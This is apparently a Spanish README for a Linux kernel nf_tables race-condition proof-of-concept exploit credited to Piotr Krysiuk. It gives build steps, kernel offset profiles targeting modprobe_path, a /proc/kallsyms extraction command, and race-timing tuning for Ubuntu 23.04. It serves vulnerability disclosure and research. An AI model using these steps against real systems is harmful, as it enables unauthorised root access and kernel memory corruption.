
Para uso personal, el autor del POC es Piotr Krysiuk. Por favor, lea README.md antes de usar.
Las siguientes instrucciones fueron probadas en Ubuntu 23.04 (Lunar Lobster).
Ejecute el siguiente comando para instalar las dependencias de compilación:
sudo apt install gcc libmnl-dev libnftnl-dev
Ejecute el siguiente comando para compilar el binario PoC:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
El perfil incorporado contiene parámetros específicos del kernel de Linux distribuido en forma binaria como los siguientes paquetes de Ubuntu 23.04 (Lunar Lobster):
El perfil incorporado se ve así:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
Pasos opcionales para sobrescribir el perfil incorporado al probar con otros kernels de Linux:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
Para encontrar la base del kernel, examinamos la imagen nf_tables.ko en la memoria del kernel. Y específicamente, analizamos el código máquina de la subrutina nft_counter_destroy(). Esto significa que nuestro método es sensible al compilador así como a las opciones de compilación. Sin embargo, todos los casos habituales pueden manejarse sobrescribiendo el perfil incorporado.
Por ejemplo, el código máquina de la subrutina nft_counter_destroy() puede verse así:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
En el caso anterior, podemos especificar algunos parámetros añadiendo las tres líneas siguientes al archivo de configuración "profile".
Primero, redefinimos el desplazamiento de la palabra doble (dword) que precede al desplazamiento free_percpu:
5 nft_counter_destroy_call_offset # hex
donde el valor 5 se calculó usando la expresión (1e31d - 1e310) - 8.
Como verificación de cordura, luego validamos la palabra doble en el desplazamiento anterior usando la siguiente máscara:
ffffffff nft_counter_destroy_call_mask # hex
esperando el siguiente valor:
e9087e8b nft_counter_destroy_call_check # hex
Explotar la vulnerabilidad requiere ganar una condición de carrera con un hilo trabajador en segundo plano del kernel de Linux. El perfil incorporado ha sido ajustado para maximizar la probabilidad de ganar esa carrera en una amplia gama de microprocesadores Intel, incluidos Sandy Bridge móvil y Comet Lake de escritorio. Sin embargo, algunos microprocesadores requieren ajustes adicionales. Por ejemplo, observamos una mayor latencia para cambiar de tareas bajo Alder Lake en ciertas configuraciones, donde puede ser necesario añadir la siguiente línea a "profile":
400 race_lead_sleep
Medimos una probabilidad del 80% o mejor de explotar exitosamente la vulnerabilidad en nuestras pruebas que utilizaron sistemas bare-metal inactivos.
Una vez que el PoC se inicia en un sistema vulnerable, puede dejar ese sistema en un estado inestable con memoria del kernel corrupta. Recomendamos encarecidamente probar el PoC en un sistema dedicado para evitar posibles corrupciones de datos.